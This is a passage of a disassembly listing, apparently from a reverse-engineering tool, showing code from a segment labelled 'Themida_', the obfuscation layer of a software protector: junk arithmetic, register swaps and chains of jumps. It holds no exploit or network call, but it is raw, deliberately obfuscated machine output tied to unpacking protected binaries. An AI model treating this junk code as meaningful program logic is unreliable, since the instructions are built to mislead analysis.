		mov	ecx, edx
		pop	edx
		sub	ecx, 0C295DD5h
		jmp	loc_55DEA9
; ---------------------------------------------------------------------------


loc_56FD6E:				; CODE XREF: Themida_:0056BA51j
		sub	edi, ebp
		jmp	loc_567048
; ---------------------------------------------------------------------------


loc_56FD75:				; CODE XREF: Themida_:0056AC78j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_568C50
; ---------------------------------------------------------------------------


loc_56FD86:				; CODE XREF: Themida_:00568852j
		mov	ecx, [esp]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	2D79h
		mov	[esp], ecx
		jmp	loc_571057
; ---------------------------------------------------------------------------


loc_56FDCB:				; CODE XREF: Themida_:00571F03j
		pop	edx
		push	ecx
		jmp	loc_56BAA3
; ---------------------------------------------------------------------------


loc_56FDD2:				; CODE XREF: Themida_:0057105Cj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0A0A7418h
		push	ecx
		mov	ecx, 1B052B63h
		add	eax, ecx
		pop	ecx
		add	eax, ebx
		sub	eax, 1B052B63h
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ecx
		push	edi
		mov	edi, 758A486Fh
		jmp	loc_55FD09
; ---------------------------------------------------------------------------


loc_56FE00:				; CODE XREF: Themida_:00571951j
		xchg	ecx, [esp]
		jmp	loc_56C16E
; ---------------------------------------------------------------------------


loc_56FE08:				; CODE XREF: Themida_:0055E385j
		add	edi, 4
		jmp	loc_5695FC
; ---------------------------------------------------------------------------


loc_56FE13:				; CODE XREF: Themida_:00569752j
		pop	eax
		sub	ebx, 4DBB29FFh
		add	ebx, 54952320h
		add	ebx, edx
		sub	ebx, 54952320h
		add	ebx, 4DBB29FFh
		jmp	loc_55D5B7
; ---------------------------------------------------------------------------


loc_56FE33:				; CODE XREF: Themida_:00567E8Ej
		sub	eax, edi
		sub	eax, 40AE67BFh
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563577
; ---------------------------------------------------------------------------


loc_56FE4B:				; CODE XREF: Themida_:00560E7Fj
		xor	edi, 31FB9887h
		add	eax, edi
		pop	edi
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56479A
; ---------------------------------------------------------------------------


loc_56FE61:				; CODE XREF: Themida_:0056C77Aj
		push	ebp
		mov	ebp, eax
		mov	esi, ebp
		pop	ebp
		jmp	loc_563416
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4D67h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_563C8B
; ---------------------------------------------------------------------------


loc_56FE7F:				; CODE XREF: Themida_:00561851j
		pop	esp
		jmp	loc_56D360
; ---------------------------------------------------------------------------


loc_56FE85:				; CODE XREF: Themida_:0056D5EAj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 0F50261h
		jmp	loc_5686B7
; ---------------------------------------------------------------------------


loc_56FEA8:				; CODE XREF: Themida_:005670A1j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55E6A2
; ---------------------------------------------------------------------------


loc_56FEC0:				; CODE XREF: Themida_:005616D4j
		add	ebx, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_563FA4
; ---------------------------------------------------------------------------


loc_56FED3:				; CODE XREF: Themida_:005689A8j
		mov	[esp], ebx
		jmp	loc_568620
; ---------------------------------------------------------------------------


loc_56FEDB:				; CODE XREF: Themida_:00569603j
		mov	ebp, 113A3287h
		jmp	loc_5629AC
; ---------------------------------------------------------------------------


loc_56FEE5:				; CODE XREF: Themida_:005637F5j
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_568A08
; ---------------------------------------------------------------------------


loc_56FEEE:				; CODE XREF: Themida_:00562701j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ebp, 4
		push	271Ch
		mov	[esp], ecx
		push	edi
		jmp	loc_5682D6
; ---------------------------------------------------------------------------


loc_56FF0B:				; CODE XREF: Themida_:0056E58Fj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56FB21
; ---------------------------------------------------------------------------


loc_56FF19:				; CODE XREF: Themida_:005615AEj
		mov	[esp], edx
		push	36DEh
		mov	[esp], ecx
		push	edx
		jmp	loc_55FB1D
; ---------------------------------------------------------------------------


loc_56FF2A:				; CODE XREF: Themida_:00571F82j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		jmp	loc_571BD6
; ---------------------------------------------------------------------------


loc_56FF3B:				; CODE XREF: Themida_:0056D131j
		add	edx, 61476D76h
		shr	edx, 4
		sub	edx, 86ECFF5Dh
		xor	edx, eax
		pop	eax
		shr	edx, 8
		jmp	loc_56BEE3
; ---------------------------------------------------------------------------


loc_56FF55:				; CODE XREF: Themida_:00569CB7j
		mov	edx, 88E78E7h
		jmp	loc_56474F
; ---------------------------------------------------------------------------


loc_56FF5F:				; CODE XREF: Themida_:0056D1A0j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56B1E8
; ---------------------------------------------------------------------------


loc_56FF7D:				; CODE XREF: Themida_:0055E101j
		mov	ebx, 1C652117h
		jmp	loc_571034
; ---------------------------------------------------------------------------


loc_56FF87:				; CODE XREF: Themida_:0056EDAAj
		mov	ebx, esp
		jmp	loc_56449F
; ---------------------------------------------------------------------------


loc_56FF8E:				; CODE XREF: Themida_:0056D811j
		sub	ebx, 100E4ED5h
		jmp	loc_568083
; ---------------------------------------------------------------------------


loc_56FF99:				; CODE XREF: Themida_:0056068Ej
		push	eax
		jmp	loc_56BEA5
; ---------------------------------------------------------------------------


loc_56FF9F:				; CODE XREF: Themida_:0056955Dj
		push	ebx
		mov	ebx, 2AA14DEAh
		sub	ebx, 8D4C2590h
		xor	esi, ebx
		jmp	loc_561ECF
; ---------------------------------------------------------------------------


loc_56FFB2:				; CODE XREF: Themida_:0056E89Fj
		pop	ecx
		jmp	loc_571C43
; ---------------------------------------------------------------------------


loc_56FFB8:				; CODE XREF: Themida_:00560D48j
		pop	ebx
		add	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_56B865
; ---------------------------------------------------------------------------


loc_56FFC6:				; CODE XREF: Themida_:0056FA52j
		pop	dword ptr [esp]
		jmp	loc_5610F7
; ---------------------------------------------------------------------------


loc_56FFCE:				; CODE XREF: Themida_:00571196j
		inc	ebx
		jmp	loc_56C163
; ---------------------------------------------------------------------------


loc_56FFD4:				; CODE XREF: Themida_:0056A3D6j
		pop	ecx
		sub	esi, edx
		pop	edx
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	5F58h
		mov	[esp], edi
		push	23C3h
		mov	[esp], ebp
		mov	ebp, 16310EA1h
		push	6ABBh
		mov	[esp], ebp
		jmp	loc_56DD56
; ---------------------------------------------------------------------------


loc_570005:				; CODE XREF: Themida_:0056DBB5j
		sub	eax, 5A023494h
		add	eax, ebp
		add	eax, 5A023494h
		add	eax, 90160FFh
		jmp	loc_55E6CC
; ---------------------------------------------------------------------------


loc_57001B:				; CODE XREF: Themida_:0056C25Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5724D9
; ---------------------------------------------------------------------------


loc_570027:				; CODE XREF: Themida_:00563045j
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 0F26DBAC2h
		add	esi, 734C2D52h
		add	esi, ecx
		jmp	loc_561EC3
; ---------------------------------------------------------------------------


loc_57003E:				; CODE XREF: Themida_:0056F1D2j
		push	eax
		push	ebx
		mov	ebx, 6F284F20h
		push	eax
		jmp	loc_571AFE
; ---------------------------------------------------------------------------


loc_57004B:				; CODE XREF: Themida_:0055EE27j
		not	bl
		or	bl, 76h
		neg	bl
		inc	bl
		push	3510h
		mov	[esp], ecx
		mov	cl, 0D2h
		and	cl, 49h
		inc	cl
		xchg	dl, cl
		not	dl
		xchg	dl, cl
		xor	cl, 0EBh
		xor	bl, cl
		pop	ecx
		jmp	loc_570E76
; ---------------------------------------------------------------------------


loc_570074:				; CODE XREF: Themida_:0056A8C5j
		mov	ecx, 46436108h
		push	eax
		mov	eax, esp
		jmp	loc_564445
; ---------------------------------------------------------------------------


loc_570081:				; CODE XREF: Themida_:00562C16j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5655AF
; ---------------------------------------------------------------------------


loc_57008E:				; CODE XREF: Themida_:0055F666j
		push	edx
		jmp	loc_56F219
; ---------------------------------------------------------------------------


loc_570094:				; CODE XREF: Themida_:005662BCj
		add	edi, 24EEDE1Eh
		xor	ecx, edi
		pop	edi
		push	esi
		push	ecx
		push	7FC302Dh
		pop	ecx
		add	ecx, 51483BC3h
		add	ecx, 0EC37A216h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F39C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_568925
; ---------------------------------------------------------------------------


loc_5700CA:				; CODE XREF: Themida_:00562CDBj
		test	cx, ax
		pushf
		jmp	loc_566CC7
; ---------------------------------------------------------------------------


loc_5700D3:				; CODE XREF: Themida_:00564205j
		add	edi, 163F487Bh
		jmp	loc_567E80
; ---------------------------------------------------------------------------


loc_5700DE:				; CODE XREF: Themida_:0057180Aj
		push	ecx
		mov	ecx, 33814D6Bh
		jmp	loc_56D2CE
; ---------------------------------------------------------------------------


loc_5700E9:				; CODE XREF: Themida_:0056BFDCj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55F5A6
; ---------------------------------------------------------------------------


loc_5700F5:				; CODE XREF: Themida_:0055D524j
		mov	ah, dh
		jmp	loc_561134
; ---------------------------------------------------------------------------


loc_5700FC:				; CODE XREF: Themida_:00569141j
		push	esi
		jmp	loc_561CA0
; ---------------------------------------------------------------------------


loc_570102:				; CODE XREF: Themida_:0056112Fj
		pop	ecx
		pop	edi
		push	dword ptr [esp]
		jmp	loc_569B9A
; ---------------------------------------------------------------------------
		push	1354h
		mov	[esp], esi
		push	ebx
		push	eax
		push	ecx
		mov	ecx, 7C9628Ch
		push	ecx
		add	dword ptr [esp], 169A7147h
		pop	eax
		jmp	loc_560EFA
; ---------------------------------------------------------------------------


loc_57012A:				; CODE XREF: Themida_:0055EE11j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56258B
; ---------------------------------------------------------------------------


loc_570138:				; CODE XREF: Themida_:0055FFD8j
		xor	ecx, 4D933E7Bh
		xor	ecx, 0E2E126B3h
		add	ebx, ecx
		pop	ecx
		jmp	loc_566BCC
; ---------------------------------------------------------------------------
		push	0AF1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56B61F
; ---------------------------------------------------------------------------


loc_570160:				; CODE XREF: Themida_:00561CB6j
		xor	edx, esi
		pop	esi
		push	620Bh
		mov	[esp], edx
		jmp	loc_563A16
; ---------------------------------------------------------------------------


loc_570170:				; CODE XREF: Themida_:00567C94j
		mov	ebx, edi
		pop	edi
		sub	esi, 7E5B3A13h
		sub	esi, 6CF0354h
		sub	esi, 2A250227h
		sub	esi, ebx
		add	esi, 2A250227h
		add	esi, 6CF0354h
		push	edi
		push	34AD3DCEh
		pop	edi
		not	edi
		and	edi, 2FF85D88h
		push	ebp
		mov	ebp, 57B47557h
		sub	ebp, 58B75F77h
		and	ebp, 14D32B58h
		dec	ebp
		neg	ebp
		add	ebp, 668F4B37h
		add	ebp, 214CB01Bh
		add	edi, ebp
		jmp	loc_56E81E
; ---------------------------------------------------------------------------


loc_5701CA:				; CODE XREF: Themida_:00570502j
		pop	eax
		jmp	loc_56EA10
; ---------------------------------------------------------------------------


loc_5701D0:				; CODE XREF: Themida_:00560BE7j
		sub	ebp, 4923666Ch
		mov	edi, [esp]
		jmp	loc_571A28
; ---------------------------------------------------------------------------


loc_5701DE:				; CODE XREF: Themida_:0055E79Cj
		xor	esi, 58EB554Bh
		mov	edx, esi
		jmp	loc_5718CC
; ---------------------------------------------------------------------------


loc_5701EB:				; CODE XREF: Themida_:00564531j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5660A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5701F9:				; CODE XREF: sub_59DB3D-2C280j
		and	dh, 8Dh
		xor	dh, 0B3h
		add	dh, 1
		xor	dh, 57h
		add	bh, dh
		pop	edx
		xor	bh, 0FDh
		add	al, bh
		pop	ebx
		push	251Dh
		mov	[esp+2Ch+var_2C], ebx
		mov	bl, 6Ch
		sub	al, bl
		push	[esp+2Ch+var_2C]
		pop	ebx
		add	esp, 4
		push	bx
		push	443h
		mov	[esp+0], ecx
		jmp	loc_5705C6
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_570233:				; CODE XREF: Themida_:0056CABCj
		inc	esi
		or	esi, 48962B9Ah
		shl	esi, 6
		sub	esi, 0D519968Fh
		sub	eax, esi
		jmp	loc_561B42
; ---------------------------------------------------------------------------


loc_57024A:				; CODE XREF: Themida_:0056DD51j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5634D0
; ---------------------------------------------------------------------------


loc_57025C:				; CODE XREF: Themida_:0056ABC0j
		sub	bh, 0B6h
		mov	cl, bh
		pop	ebx
		add	bl, cl
		pop	cx
		add	al, bl
		push	dword ptr [esp]
		jmp	loc_5609C3
; ---------------------------------------------------------------------------


loc_570270:				; CODE XREF: Themida_:0056B642j
		push	38A8h
		mov	[esp], ecx
		xor	dword ptr [esp], 47686B9Ch
		pop	eax
		xor	eax, 47686B9Ch
		jmp	loc_56C1A0
; ---------------------------------------------------------------------------


loc_57028A:				; CODE XREF: Themida_:00565132j
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_56FAC8
; ---------------------------------------------------------------------------


loc_570297:				; CODE XREF: Themida_:0055E1DEj
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		jmp	loc_571DC9
; ---------------------------------------------------------------------------


loc_5702A3:				; CODE XREF: Themida_:00572B13j
		mov	edx, [esp]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5702B1:				; CODE XREF: Themida_:005628F7j
		mov	eax, 7E3D0386h
		dec	eax
		jmp	loc_563A88
; ---------------------------------------------------------------------------


loc_5702BC:				; CODE XREF: Themida_:0056419Dj
		mov	[esp], ecx
		push	esi
		push	24EC2F89h
		jmp	loc_560294
; ---------------------------------------------------------------------------


loc_5702CA:				; CODE XREF: Themida_:0056374Fj
		mov	esp, [esp]
		jmp	loc_572B2F
; ---------------------------------------------------------------------------


loc_5702D2:				; CODE XREF: Themida_:0055ECA5j
		mov	[esp], cx
		push	small 438Bh
		mov	[esp], bp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_55F166
; ---------------------------------------------------------------------------


loc_5702FB:				; CODE XREF: Themida_:005637C5j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		jmp	loc_569D64
; ---------------------------------------------------------------------------


loc_57030B:				; CODE XREF: Themida_:00561B88j
		add	esp, 4
		sub	eax, 2D1470AFh
		pop	esi
		xor	eax, edi
		jmp	loc_562873
; ---------------------------------------------------------------------------


loc_57031E:				; CODE XREF: Themida_:0055FFFAj
		add	ebp, 61A252CAh
		add	ebp, edi
		sub	ebp, 61A252CAh
		jmp	loc_56F3BE
; ---------------------------------------------------------------------------


loc_570331:				; CODE XREF: Themida_:0056D2C9j
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_568F88
; ---------------------------------------------------------------------------


loc_57033C:				; CODE XREF: Themida_:00561294j
		add	ebx, esi
		add	ebx, 493E27C6h
		add	ebx, 704A07A5h
		push	dword ptr [esp]
		jmp	loc_560E58
; ---------------------------------------------------------------------------


loc_570352:				; CODE XREF: Themida_:00569D6Aj
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, 69862EE7h
		shl	ebx, 5
		shl	ebx, 6
		dec	ebx
		sub	ebx, 97AF54CEh
		sub	edi, ebx
		jmp	loc_56CF7A
; ---------------------------------------------------------------------------


loc_570371:				; CODE XREF: Themida_:0056C61Aj
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_570660
; ---------------------------------------------------------------------------


loc_57037D:				; CODE XREF: Themida_:0056D391j
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		push	6675h
		mov	[esp], ecx
		mov	ecx, 3C91D4Dh
		xor	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55EF5E
; ---------------------------------------------------------------------------


loc_5703B1:				; CODE XREF: Themida_:0056B1F6j
		push	esi
		mov	esi, 0CBFEAEF4h
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_561987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_5703C1:				; CODE XREF: sub_562A0A-272Ej
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp+8+var_8]
		jmp	loc_564B3E
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_5703D2:				; CODE XREF: Themida_:0056C6BCj
		add	esp, 4
		jmp	loc_562342
; ---------------------------------------------------------------------------


loc_5703DA:				; CODE XREF: Themida_:00561D3Ej
		push	ax
		sub	esp, 2
		mov	[esp], bx
		push	small 57BFh
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_567242
; ---------------------------------------------------------------------------


loc_5703F9:				; CODE XREF: Themida_:005608F9j
		mov	ecx, 9EB367Bh
		sub	eax, ecx
		jmp	loc_568CE9
; ---------------------------------------------------------------------------


loc_570405:				; CODE XREF: Themida_:00561691j
		sub	al, bh
		jmp	loc_56F2AA
; ---------------------------------------------------------------------------


loc_57040C:				; CODE XREF: Themida_:00566E03j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_5624CD
; ---------------------------------------------------------------------------


loc_57041B:				; CODE XREF: Themida_:00561186j
		pop	ebp
		add	ebp, 32FC02C1h
		jmp	loc_563DEC
; ---------------------------------------------------------------------------


loc_570427:				; CODE XREF: Themida_:0056C73Bj
		pop	esi
		add	esp, 4
		jmp	loc_55DA64
; ---------------------------------------------------------------------------


loc_570430:				; CODE XREF: Themida_:00568410j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56DF35
; ---------------------------------------------------------------------------


loc_57043B:				; CODE XREF: Themida_:005697A7j
		xor	edi, 7F5B7D71h
		jmp	loc_56096A
; ---------------------------------------------------------------------------


loc_570446:				; CODE XREF: Themida_:0056F586j
		push	edi
		push	ebx
		mov	ebx, 61AE3D26h
		mov	edi, 0A49AB988h
		sub	edi, ebx
		jmp	loc_56B07E
; ---------------------------------------------------------------------------


loc_570459:				; CODE XREF: Themida_:005724F2j
		dec	edx
		add	edx, 5A7239E6h
		add	ebp, edx
		pop	edx
		jmp	loc_5727E2
; ---------------------------------------------------------------------------


loc_570468:				; CODE XREF: Themida_:00560CBFj
		mov	edi, 445362B1h
		sub	ebp, edi
		pop	edi
		add	ebp, eax
		add	ebp, 445362B1h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebp
		jmp	loc_568100
; ---------------------------------------------------------------------------


loc_570486:				; CODE XREF: Themida_:005670CDj
		shr	ebp, 8
		jmp	loc_57145C
; ---------------------------------------------------------------------------


loc_57048E:				; CODE XREF: Themida_:005686F4j
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56DD3F
; ---------------------------------------------------------------------------


loc_57049E:				; CODE XREF: Themida_:00560035j
		mov	ecx, 65394BFAh
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E410
; ---------------------------------------------------------------------------


loc_5704B3:				; CODE XREF: Themida_:0055D9DEj
		add	edx, eax
		push	edi
		push	146E1FEAh
		pop	edi
		push	ebx
		mov	ebx, 97E1C72h
		add	edx, ebx
		pop	ebx
		sub	edx, edi
		sub	edx, 97E1C72h
		jmp	loc_56DF68
; ---------------------------------------------------------------------------


loc_5704D2:				; CODE XREF: Themida_:005693E7j
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_5701CA
; ---------------------------------------------------------------------------


loc_570507:				; CODE XREF: Themida_:00566FFFj
		mov	[esp], ebx
		push	esp
		jmp	loc_55EF1E
; ---------------------------------------------------------------------------


loc_570510:				; CODE XREF: Themida_:005715FBj
		add	dword ptr [esp], 4
		jmp	loc_56D61A
; ---------------------------------------------------------------------------


loc_57051C:				; CODE XREF: Themida_:00561EBEj
		push	ebx
		mov	ebx, esp
		jmp	loc_5672D4
; ---------------------------------------------------------------------------


loc_570524:				; CODE XREF: Themida_:00572A94j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_561E8E
; ---------------------------------------------------------------------------


loc_570532:				; CODE XREF: Themida_:0056C8B3j
		pop	ecx
		sub	eax, 1A082E91h
		add	eax, edi
		push	ebp
		mov	ebp, 1A082E91h
		add	eax, 5B3A0602h
		add	eax, ebp
		jmp	loc_563935
; ---------------------------------------------------------------------------


loc_57054C:				; CODE XREF: Themida_:00571FE1j
		inc	edx
		push	esi
		mov	esi, 6971072Fh
		sub	esi, 276AF7Ah
		add	edx, esi
		pop	esi
		xor	edx, 67EFD667h
		jmp	loc_55DF56
; ---------------------------------------------------------------------------


loc_570567:				; CODE XREF: Themida_:005651C0j
		pop	esp
		jmp	loc_5636B8
; ---------------------------------------------------------------------------


loc_57056D:				; CODE XREF: Themida_:00561D44j
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 3A115D8Bh
		pop	edx
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_55EFA5
; ---------------------------------------------------------------------------


loc_570586:				; CODE XREF: Themida_:0055F8AAj
		not	ebx
		shr	ebx, 4
		add	ebx, 4CD44157h
		sub	ebx, 5B6B7FD0h
		push	edx
		mov	edx, 86A1427h
		add	ecx, edx
		pop	edx
		add	ecx, ebx
		push	edx
		jmp	loc_56AA54
; ---------------------------------------------------------------------------


loc_5705A8:				; CODE XREF: Themida_:005641F5j
		add	ecx, 0FF5F78E0h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edi
		push	edx
		mov	edx, 236E6FBAh
		jmp	loc_56F65E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5705C6:				; CODE XREF: sub_59DB3D-2D90Fj
		push	eax
		mov	ah, 80h
		push	dx
		mov	dh, ah
		not	dh
		mov	ah, dh
		pop	dx
		jmp	loc_570CF1
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_5705D8:				; CODE XREF: Themida_:00572694j
		add	al, dh
		sub	al, 1Fh
		pop	dx
		xor	bl, al
		jmp	loc_562F2E
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56DD49
; ---------------------------------------------------------------------------


loc_5705F7:				; CODE XREF: Themida_:0056F833j
		add	ebx, ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56005B
; ---------------------------------------------------------------------------


loc_570607:				; CODE XREF: Themida_:00571A7Aj
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ecx
		push	3CA9698Eh
		pop	ecx
		mov	edi, ecx
		pop	ecx
		sub	[esp+4], edi
		mov	edi, [esp]
		push	eax
		push	esp
		jmp	loc_5688E4
; ---------------------------------------------------------------------------


loc_570636:				; CODE XREF: Themida_:0056CB36j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57063B:				; CODE XREF: Themida_:005660C6j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 0E790BBAh
		add	ebx, 0F186F446h
		jmp	loc_5622B2
; ---------------------------------------------------------------------------


loc_570651:				; CODE XREF: Themida_:0056EBB0j
		inc	dl
		add	dl, 1
		xor	dl, 42h
		sub	al, dl
		jmp	loc_56ABEA
; ---------------------------------------------------------------------------


loc_570660:				; CODE XREF: Themida_:00570378j
		add	esp, 4
		push	esi
		jmp	loc_56B7C3
; ---------------------------------------------------------------------------


loc_57066C:				; CODE XREF: Themida_:0056795Ej
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_570680:				; CODE XREF: Themida_:005618B1j
		add	edx, ebp
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_56BD6B
; ---------------------------------------------------------------------------


loc_5706AD:				; CODE XREF: Themida_:0056F51Cj
		pop	ecx
		mov	esi, [esp]
		jmp	loc_56DF53
; ---------------------------------------------------------------------------


loc_5706B6:				; CODE XREF: Themida_:0056972Ej
		mov	edx, 246B6418h
		sub	edi, edx
		pop	edx
		dec	edi
		not	edi
		add	edi, 1592FB92h
		jmp	loc_5621FA
; ---------------------------------------------------------------------------


loc_5706CC:				; CODE XREF: Themida_:0056DA0Ej
		mov	[esp], esi
		jmp	loc_570F28
; ---------------------------------------------------------------------------


loc_5706D4:				; CODE XREF: Themida_:00568DBFj
		pop	esp
		jmp	loc_565E68
; ---------------------------------------------------------------------------


loc_5706DA:				; CODE XREF: Themida_:0056C76Ej
		push	ebp
		jmp	loc_56F32E
; ---------------------------------------------------------------------------


loc_5706E0:				; CODE XREF: Themida_:0056DAD9j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 48872793h
		jmp	loc_570F4F
; ---------------------------------------------------------------------------


loc_5706F4:				; CODE XREF: Themida_:00565F81j
		xor	ebx, [esp]
		jmp	loc_571A6F
; ---------------------------------------------------------------------------


loc_5706FC:				; CODE XREF: Themida_:005611F6j
		mov	esi, [esp]
		add	esp, 4
		push	62FDh
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	1B84h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	0BDAh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56DA13
; ---------------------------------------------------------------------------


loc_570746:				; CODE XREF: Themida_:005677BCj
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_56C99A
; ---------------------------------------------------------------------------


loc_57076D:				; CODE XREF: Themida_:0056B37Cj
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 19EE373Dh
		xor	ecx, 38D2020h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562EE6
; ---------------------------------------------------------------------------


loc_57078C:				; CODE XREF: Themida_:0056A401j
		pop	eax
		mov	[edi+eax*4], bl
		push	dword ptr [esp]
		jmp	loc_55FF65
; ---------------------------------------------------------------------------


loc_570798:				; CODE XREF: Themida_:00560A43j
		pop	ecx
		add	ebp, ecx
		push	edi
		mov	edi, 7A5878E9h
		sub	ebp, 1E640869h
		sub	ebp, edi
		add	ebp, 1E640869h
		jmp	loc_569EE1
; ---------------------------------------------------------------------------


loc_5707B4:				; CODE XREF: Themida_:005660DBj
		mov	[esp], edi
		mov	edi, 2A19773Ah
		push	ebp
		push	265205A1h
		mov	ebp, [esp]
		add	esp, 4
		and	edi, ebp
		push	dword ptr [esp]
		jmp	loc_568A96
; ---------------------------------------------------------------------------


loc_5707D2:				; CODE XREF: Themida_:0055FE4Dj
		xor	edx, ebx
		jmp	loc_55F1BD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_56E007
; ---------------------------------------------------------------------------


loc_5707E9:				; CODE XREF: Themida_:0056F532j
		shl	ebp, 5
		jmp	loc_5617F2
; ---------------------------------------------------------------------------


loc_5707F1:				; CODE XREF: Themida_:005676B9j
		xor	dl, ah
		pop	ax
		mov	al, dl
		pop	edx
